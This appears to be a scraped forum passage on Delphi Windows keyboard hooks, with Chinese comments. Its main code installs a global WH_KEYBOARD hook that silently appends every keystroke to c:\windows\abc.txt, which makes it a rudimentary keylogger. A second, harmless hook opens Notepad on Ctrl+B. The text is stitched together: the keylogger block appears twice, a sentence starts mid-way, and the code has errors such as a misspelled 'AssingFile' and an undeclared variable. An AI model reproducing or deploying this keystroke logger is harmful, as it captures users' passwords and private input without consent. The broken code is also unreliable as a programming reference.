var
HookHandle: HHook;
FilePath: string = 'c:\windows\abc.txt';function GetHookProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT stdcall;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(HookHandle, iCode, wParam, lParam);
Exit;
end; AssingFile(FileName, FilePath);
Append(FileName);
Write(FileName, char(wParam));
CloseFile(FileName); Result := 0;
end;procedure HookOn;
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD, GetHookProc, hInstance, 0);
end;
HookHandle: HHook;
FilePath: string = 'c:\windows\abc.txt';function GetHookProc(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT stdcall;
begin
if iCode < 0 then
begin
Result := CallNextHookEx(HookHandle, iCode, wParam, lParam);
Exit;
end; AssingFile(FileName, FilePath);
Append(FileName);
Write(FileName, char(wParam));
CloseFile(FileName); Result := 0;
end;procedure HookOn;
begin
HookHandle := SetWindowsHookEx(WH_KEYBOARD, GetHookProc, hInstance, 0);
end;
and WM_KEYUP messages about to be returned by the GetMessage or PeekMessage function. You can use the WH_KEYBOARD hook to monitor keyboard input posted to a message queue.
截獲的是2個消息WM_keyDown,WM_KeyUp
function KeyboardHookHandler(iCode: Integer;
wParam: WPARAM;
lParam: LPARAM): LRESULT; stdcall; export;
const
_KeyPressMask = $80000000;
begin
Result := 0;
If iCode < 0 Then
begin
Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);
Exit;
end;
// 侦测 Ctrl + B 组合键
if ((lParam and _KeyPressMask) = 0) and
(GetKeyState(vk_Control) < 0) and (wParam = Ord('B')) then
begin
Result := 1;
WinExec('Notepad.exe', sw_Normal); // 记事本
end;
end;
你取一个字符要取低16位
上面有SetWindowsHookEx 说明...